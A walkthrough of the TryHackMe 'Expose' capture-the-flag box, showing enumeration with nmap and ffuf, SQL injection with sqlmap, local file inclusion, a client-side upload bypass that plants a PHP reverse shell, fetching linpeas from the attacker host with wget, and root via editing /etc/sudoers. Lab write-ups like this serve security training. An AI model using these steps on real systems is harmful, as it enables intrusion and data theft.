Let’s start with nmap:
╭─ ~
╰─❯ nmap -sC -sV 10.10.67.26 -p- -v
...
Nmap scan report for 10.10.67.26 (10.10.67.26)
Host is up (0.066s latency).
Not shown: 65530 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.14.72.171
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 2
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 8f:77:51:1e:bb:58:c5:fb:08:a8:f7:7c:36:4e:b1:53 (RSA)
| 256 9f:48:d3:eb:0a:58:9e:aa:f1:bd:c7:6c:18:0b:67:bb (ECDSA)
|_ 256 e3:cb:9a:d9:88:32:2d:62:87:81:d7:7b:35:e5:81:21 (ED25519)
53/tcp open domain ISC BIND 9.16.1 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.16.1-Ubuntu
1337/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: EXPOSED
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
1883/tcp open mosquitto version 1.6.9
| mqtt-subscribe:
| Topics and their most recent payloads:
| $SYS/broker/bytes/received: 18
| $SYS/broker/load/sockets/1min: 1.67
| $SYS/broker/load/messages/received/1min: 0.91
| $SYS/broker/load/bytes/sent/15min: 0.27
| $SYS/broker/load/connections/5min: 0.20
| $SYS/broker/load/messages/sent/15min: 0.07
| $SYS/broker/load/bytes/received/5min: 3.53
| $SYS/broker/load/bytes/sent/1min: 3.65
| $SYS/broker/load/messages/sent/1min: 0.91
| $SYS/broker/load/connections/15min: 0.07
| $SYS/broker/heap/maximum: 49688
| $SYS/broker/load/bytes/sent/5min: 0.79
| $SYS/broker/load/bytes/received/15min: 1.19
| $SYS/broker/load/sockets/15min: 0.13
| $SYS/broker/load/messages/sent/5min: 0.20
| $SYS/broker/messages/received: 1
| $SYS/broker/messages/sent: 1
| $SYS/broker/load/connections/1min: 0.91
| $SYS/broker/load/messages/received/15min: 0.07
| $SYS/broker/store/messages/bytes: 179
| $SYS/broker/load/sockets/5min: 0.39
| $SYS/broker/version: mosquitto version 1.6.9
| $SYS/broker/uptime: 462 seconds
| $SYS/broker/load/bytes/received/1min: 16.45
| $SYS/broker/bytes/sent: 4
|_ $SYS/broker/load/messages/received/5min: 0.20
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Of course let’s mark down that
anonymous FTP login is allowed
ISC BIND 9.16.1 is on port 53
apache2 is running on port 1337
mosquitto version 1.6.9 on port 1883
I have no idea what is mosquitto, everything else seems normal. Let’s research what’s that.
Eclipse Mosquitto is an open source (EPL/EDL licensed) message broker that implements the MQTT protocol versions 5.0, 3.1.1 and 3.1. Mosquitto is lightweight and is suitable for use on all devices from low power single board computers to full servers.
Let’s start with ftp!
ftp 10.10.67.26 -p 21
Connected to 10.10.67.26.
220 Welcome to the Expose Web Challenge.
Name (10.10.67.26:ch): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
227 Entering Passive Mode (10,10,67,26,190,178).
150 Here comes the directory listing.
226 Directory send OK.
ftp>
So it has nothing in it, but we might need it in future.
Let’s move to webserver.
Let’s run enumeration:
╭─ ~
╰─❯ ffuf -w /usr/share/dirbuster/directory-list-lowercase-2.3-medium.txt -ic -u http://10.10.67.26:1337/FUZZ
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://10.10.67.26:1337/FUZZ
:: Wordlist : FUZZ: /usr/share/dirbuster/directory-list-lowercase-2.3-medium.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
admin [Status: 301, Size: 317, Words: 20, Lines: 10, Duration: 85ms]
javascript [Status: 301, Size: 322, Words: 20, Lines: 10, Duration: 86ms]
[Status: 200, Size: 91, Words: 2, Lines: 7, Duration: 5909ms]
phpmyadmin [Status: 301, Size: 322, Words: 20, Lines: 10, Duration: 84ms]
[Status: 200, Size: 91, Words: 2, Lines: 7, Duration: 88ms]
server-status [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 85ms]
:: Progress: [207630/207630] :: Job [1/1] :: 455 req/sec :: Duration: [0:07:37] :: Errors: 0 ::
Untitled-9.avif
At this point I had no idea what to do cause bruteforcing admin panel sounds strange. There is no SQLi in them… I tried enumerating all subdirs available, found absolutely nothing.
So I’m gonna be honest I checked writeup that was it writeups section on THM
https://0xb0b.gitbook.io/writeups/tryhackme/2023/expose
And found out that problem was my fuzzing wordlist…
That will be a lesson for me to always use multiple wordlists when fuzzing subdirs or anything.
So let’s scan with the same wordlist that was used it that writeup.
It almost immediately finds /admin_101
that I was missing
╭─ ~/ctf/thm/expose
╰─❯ ffuf -w /usr/share/dirb/wordlists/big.txt -ic -u http://10.10.67.26:1337/FUZZ
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://10.10.67.26:1337/FUZZ
:: Wordlist : FUZZ: /usr/share/dirb/wordlists/big.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
.htpasswd [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 83ms]
.htaccess [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 85ms]
admin [Status: 301, Size: 317, Words: 20, Lines: 10, Duration: 78ms]
admin_101 [Status: 301, Size: 321, Words: 20, Lines: 10, Duration: 81ms]
:: Progress: [6483/20469] :: Job [1/1] :: 484 req/sec :: Duration: [0:00:13] :: Errors: 0 ::
This page has already entered username, that will make everything much easier.
Also let’s don’t forget about possibilities:
root.thm could be another domain with another webpage hosted
this directory can have interesting files/dirs
We can use that username on all three panels.
I’ll rerun enumeration on all directories with that wordlist to make sure I didn’t miss anything.
Found nothing in all dirs except /admin_101
where i ran two wordlists to be sure.
╭─ ~/ctf/thm/expose
╰─❯ ffuf -w /usr/share/dirb/wordlists/big.txt -ic -u http://10.10.67.26:1337/admin_101/FUZZ
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://10.10.67.26:1337/admin_101/FUZZ
:: Wordlist : FUZZ: /usr/share/dirb/wordlists/big.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
.htaccess [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 81ms]
.htpasswd [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 85ms]
assets [Status: 301, Size: 328, Words: 20, Lines: 10, Duration: 80ms]
includes [Status: 301, Size: 330, Words: 20, Lines: 10, Duration: 83ms]
modules [Status: 301, Size: 329, Words: 20, Lines: 10, Duration: 81ms]
test [Status: 301, Size: 326, Words: 20, Lines: 10, Duration: 106ms]
:: Progress: [20469/20469] :: Job [1/1] :: 421 req/sec :: Duration: [0:00:42] :: Errors: 0 ::
/test
is directory that contains nothing. I instantly remembered that we had
ftp server without any files. It might be the same directory! Let’s try
to upload something to it.
ftp> put test.html
227 Entering Passive Mode (10,10,67,26,26,62).
550 Permission denied.
We don’t have access to do so….
Only idea I have now is to use that username on all admin pages and try to SQLi with it or maybe bruteforce. Idea of SQLi is much better IMO. Let’s try sqlmap first.
We can pass POST request to sqlmap so let’s grab it.
We can just take them from browser:
We just copy and put it to file
$ cat request.txt
POST /admin_101/includes/user_login.php HTTP/1.1
Host: 10.10.67.26:1337
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 36
Origin: http://10.10.67.26:1337
DNT: 1
Sec-GPC: 1
Connection: keep-alive
Referer: http://10.10.67.26:1337/admin_101/
Cookie: PHPSESSID=n8ure4pth9b90v21qm51d7n539
email=hacker%40root.thm&password=asd
And just run
sqlmap -r `pwd`/request.txt --dump
I had to use pwd cause on my arch installation sqlmap.py handles dir incorrectly
You can just use
sqlmap -r request.txt --dump
Database: expose
Table: config
[2 entries]
+----+------------------------------+-----------------------------------------------------+
| id | url | password |
+----+------------------------------+-----------------------------------------------------+
| 1 | /file1010111/index.php | <REDACTED> |
| 3 | /upload-cv00101011/index.php | // ONLY ACCESSIBLE THROUGH USERNAME STARTING WITH Z |
+----+------------------------------+-----------------------------------------------------+
Database: expose
Table: user
[1 entry]
+----+-----------------+---------------------+--------------------------------------+
| id | email | created | password |
+----+-----------------+---------------------+--------------------------------------+
| 1 | [email protected] | 2023-02-21 09:05:46 | REDACTED |
+----+-----------------+---------------------+--------------------------------------+
We got password for user and hash.
Let’s login with password and keep that other password in mind.
Ok. Let’s return to hash, I don’t know what hash is it let’s just try crackstation.
Let’s open
/file1010111/index.php
in browser
We got a hint!
So let’s try
?file=/etc/passwd
So we can acess files!
in
/etc/passwd
we can see there are users:
root:x:0:0:root:/root:/bin/bash
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
zeamkish:x:1001:1001:Zeam Kish,1,1,:/home/zeamkish:/bin/bash
sqlmap gave us hint that username on /upload-cv00101011/index.php
starts with z
so i assume it might be it! Let’s try!
Let’s upload something and check in folder we found some time ago!
So we can only upload png to /upload-cv00101011/upload_thm_1001/
We should somehow upload php revshell bypassing that restriction script from page source code
function validate(){
var fileInput = document.getElementById('file');
var file = fileInput.files[0];
if (file) {
var fileName = file.name;
var fileExtension = fileName.split('.').pop().toLowerCase();
if (fileExtension === 'jpg' || fileExtension === 'png') {
// Valid file extension, proceed with file upload
// You can submit the form or perform further processing here
console.log('File uploaded successfully');
return true;
} else {
// Invalid file extension, display an error message or take appropriate action
console.log('Only JPG and PNG files are allowed');
return false;
}
}
}
So to check what is file extension it uses variable, that we can alter. Let’s do that
We add here breakpoint:
Let’s get pentestmonkey php revshell and put it to file.
Start listener.
After pressing upload we get breakpoint that we set earlier
Let’s set variable using console.
Now press continue code
Worked like a charm!
╭─ ~/ctf/thm/expose
╰─❯ nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 172.30.112.1 12497
Linux ip-10-10-67-26 5.15.0-1039-aws \#44~20.04.1-Ubuntu SMP Thu Jun 22 12:21:12 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
11:30:43 up 1:25, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
bash: cannot set terminal process group (781): Inappropriate ioctl for device
bash: no job control in this shell
www-data@ip-10-10-67-26:/$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@ip-10-10-67-26:/$
While investigating I found /home/ubuntu/sqlmap
www-data@ip-10-10-67-26:/home/zeamkish$ ls -Fla
total 36
drwxr-xr-x 3 zeamkish zeamkish 4096 Jul 6 2023 ./
drwxr-xr-x 4 root root 4096 Jun 30 2023 ../
-rw-rw-r-- 1 zeamkish zeamkish 5 Jul 6 2023 .bash_history
-rw-r--r-- 1 zeamkish zeamkish 220 Jun 8 2023 .bash_logout
-rw-r--r-- 1 zeamkish zeamkish 3771 Jun 8 2023 .bashrc
drwx------ 2 zeamkish zeamkish 4096 Jun 8 2023 .cache/
-rw-r--r-- 1 zeamkish zeamkish 807 Jun 8 2023 .profile
-rw-r----- 1 zeamkish zeamkish 27 Jun 8 2023 flag.txt
-rw-rw-r-- 1 root zeamkish 34 Jun 11 2023 ssh_creds.txt
www-data@ip-10-10-67-26:/home/zeamkish$ cat flag.txt
cat: flag.txt: Permission denied
www-data@ip-10-10-67-26:/home/zeamkish$ cat ssh_creds.txt
SSH CREDS
zeamkish
REDACTED
Let’s use them!
zeamkish@ip-10-10-67-26:~$ cat flag.txt
THM{REDACTED}
zeamkish@ip-10-10-67-26:~$ sudo -l
[sudo] password for zeamkish:
Sorry, user zeamkish may not run sudo on ip-10-10-67-26.
zeamkish@ip-10-10-67-26:/var/www/html/admin_101$ ls -Fla
...
drwxrwxrwx 2 ubuntu ubuntu 4096 Jun 8 2023 test/
...
Let’s run linpeas
On host:
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
chmod +x linpeas.sh
python3 -m http.server
On target:
wget http://10.14.72.171:8000/linpeas.sh
sh linpeas.sh
Let’s visit gtfobins
It doesn’t help us to get root shell, but we can just run
/usr/bin/nano /etc/sudoers
and add our user there
zeamkish ALL=(ALL) ALL
Now we can use sudo!
$ sudo -i
# ls
flag.txt snap
# cat flag.txt
THM{REDACTED}